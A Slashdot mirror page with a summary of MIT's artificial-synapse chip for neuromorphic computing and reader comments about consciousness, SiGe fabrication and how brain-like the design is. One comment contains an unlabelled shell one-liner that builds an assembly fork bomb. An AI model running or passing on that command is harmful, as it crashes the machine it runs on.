Slashdot Mirror
Engineers Design Artificial Synapse For 'Brain-on-a-chip' Hardware (mit.edu)
Researchers in the emerging field of "neuromorphic computing" have attempted to design computer chips that work like the human brain. From a report: Instead of carrying out computations based on binary, on/off signaling, like digital chips do today, the elements of a "brain on a chip" would work in an analog fashion, exchanging a gradient of signals, or "weights," much like neurons that activate in various ways depending on the type and number of ions that flow across a synapse. In this way, small neuromorphic chips could, like the brain, efficiently process millions of streams of parallel computations that are currently only possible with large banks of supercomputers. But one significant hangup on the way to such portable artificial intelligence has been the neural synapse, which has been particularly tricky to reproduce in hardware.
Now engineers at MIT have designed an artificial synapse in such a way that they can precisely control the strength of an electric current flowing across it, similar to the way ions flow between neurons. The team has built a small chip with artificial synapses, made from silicon germanium. In simulations, the researchers found that the chip and its synapses could be used to recognize samples of handwriting, with 95 percent accuracy. The design, published today in the journal Nature Materials, is a major step toward building portable, low-power neuromorphic chips for use in pattern recognition and other learning tasks.
Now engineers at MIT have designed an artificial synapse in such a way that they can precisely control the strength of an electric current flowing across it, similar to the way ions flow between neurons. The team has built a small chip with artificial synapses, made from silicon germanium. In simulations, the researchers found that the chip and its synapses could be used to recognize samples of handwriting, with 95 percent accuracy. The design, published today in the journal Nature Materials, is a major step toward building portable, low-power neuromorphic chips for use in pattern recognition and other learning tasks.
So in other words they created and analog chip
This is a huge step forward in AI. I am sure these chips work very similarly to the way human brains work. Otherwise they wouldn't call them "neuromorphic", because that would be misleading.
Comment removed based on user account deletion
That's the current common theory, yes.
Also meaning that said theory might be entirely wrong.
We are probably now within but a single generation of being able to make computer chips that might rival the human brain in complexity.... but I am skeptical that we will see consciousness emerge from them. I'm not saying that consciousness is magic, but I suspect it takes more than just complexity.
File under 'M' for 'Manic ranting'
That's the current common theory, yes.
Also meaning that said theory might be entirely wrong.
We are probably now within but a single generation of being able to make computer chips that might rival the human brain in complexity.... but I am skeptical that we will see consciousness emerge from them. I'm not saying that consciousness is magic, but I suspect it takes more than just complexity.
There's actually a procedure we've done to a live human that has actively shut off of their consciousness and otherwise left them awake.
https://www.huffingtonpost.com...
I rather strongly suspect you have no clue what you're talking about.
"None can love freedom heartily, but good men; the rest love not freedom, but license." --John Milton
TSMC's SiGe process is an alternative to GaAs. They use SiGe crystals.
http://www.tsmc.com/english/de...
TSMC's Silicon Germanium (SiGe) BiCMOS technology delivers higher performance, faster time-to-market, lower power consumption, more competitive manufacturing costs, and superior manufacturing reliability than Gallium Arsenide technology.
Silicon Germanium BiCMOS technology includes a deep trench approach for bipolar device isolation, multiple Ft bipolar devices, deep N-well, multiple Vt devices, precision MiM capacitors, precision high poly resistors, thick-metal inductors, and high-quality varactors and diodes. CMOS devices are compatible with the TSMC's standard logic platform. Power amplifier applications have been added to the 0.18-micron SiGe technology platform to enable the integration of a power amplifier and RF transceiver front-end for WLAN applications.
Combining the integration and cost benefits of silicon with the speed of more esoteric and expensive technologies such as Gallium Arsenide, makes Silicon Germanium an ideal process for wireless/wired communication applications. Products designed for and manufactured with TSMC Silicon Germanium processes demonstrate dramatically improved functionality at a lower cost
Sounds pretty different from the proposed process where they're depositing SiGe to create defects in a Si crystal
https://news.mit.edu/2018/engi...
Instead of using amorphous materials as an artificial synapse, Kim and his colleagues looked to single-crystalline silicon, a defect-free conducting material made from atoms arranged in a continuously ordered alignment. The team sought to create a precise, one-dimensional line defect, or dislocation, through the silicon, through which ions could predictably flow.
To do so, the researchers started with a wafer of silicon, resembling, at microscopic resolution, a chicken-wire pattern. They then grew a similar pattern of silicon germanium - a material also used commonly in transistors - on top of the silicon wafer. Silicon germanium's lattice is slightly larger than that of silicon, and Kim found that together, the two perfectly mismatched materials can form a funnel-like dislocation, creating a single path through which ions can flow.
Both use SiGe, but they're using it in very different ways.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The thing a lot of AI news fails to point out is they created a Synapse based on our models and assumptions on how it sort of works. Or at least how we *think* it might work. Actual biological systems are far more complex and so this is not an accurate representation of a synapse in our brain. Sadly many of these models are very rough approximations, they're not reflective of what's going on in reality. We're still likely far from true autonomous AI.
You must be wrong. They wouldn't call it an artificial synapse if it didn't work like a real synapse. That would be misleading and what would be the purpose of misleading people?